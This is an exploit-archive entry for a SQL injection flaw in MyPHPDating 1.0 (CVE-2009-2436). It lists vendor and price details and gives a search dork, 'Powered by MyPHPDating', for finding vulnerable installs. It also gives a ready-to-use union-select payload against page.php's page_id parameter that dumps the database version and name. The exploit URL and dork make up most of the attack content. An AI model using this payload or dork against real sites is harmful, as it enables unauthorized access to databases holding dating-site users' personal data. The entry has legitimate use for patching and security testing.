[] NeoSense

MyPHPDating 1.0 - SQL Injection

Author: ITTIHACK
type: webapps
platform: php
port: 
date_added: 2012-01-02 
date_updated: 2012-01-02 
verified: 1 
codes: OSVDB-55854;CVE-2009-2436 
tags: 
aliases:  
screenshot_url:  
application_url: 

MyPHPDating 1.0 SQL Injection Vulnerability  \
==============================================\__________________________
       Software : MyPHPDating version 1.0                                \
       Date     : 1/1/2012                                           	  \
       Vendor   : http://www.phponlinedatingsoftware.com/                  \
       Demo     : http://www.phponlinedatingsoftware.com/demo.htm           \
	   Get App. : http://www.phponlinedatingsoftware.com/order.htm           \
       Price    : $149.00	                                                  \
       Dork     : "Powered by MyPHPDating"	                                   \
       Author   : ITTIHACK                                                      \
       Home     : http://ittihack.com                                            \
==================================================================================
                                                                                  |_______________________________________|
Vulnerable file : page.php                                                                                                |
Exploit         : http://localhost/[path]/page.php?page_id=[SQL]                                                          |
                  http://localhost/[path]/page.php?page_id=-1+union+select+1,2,3,concat(@@version,0x3c3e,database())--    |
==========================================================================================================================|


 Greatz to: Reinie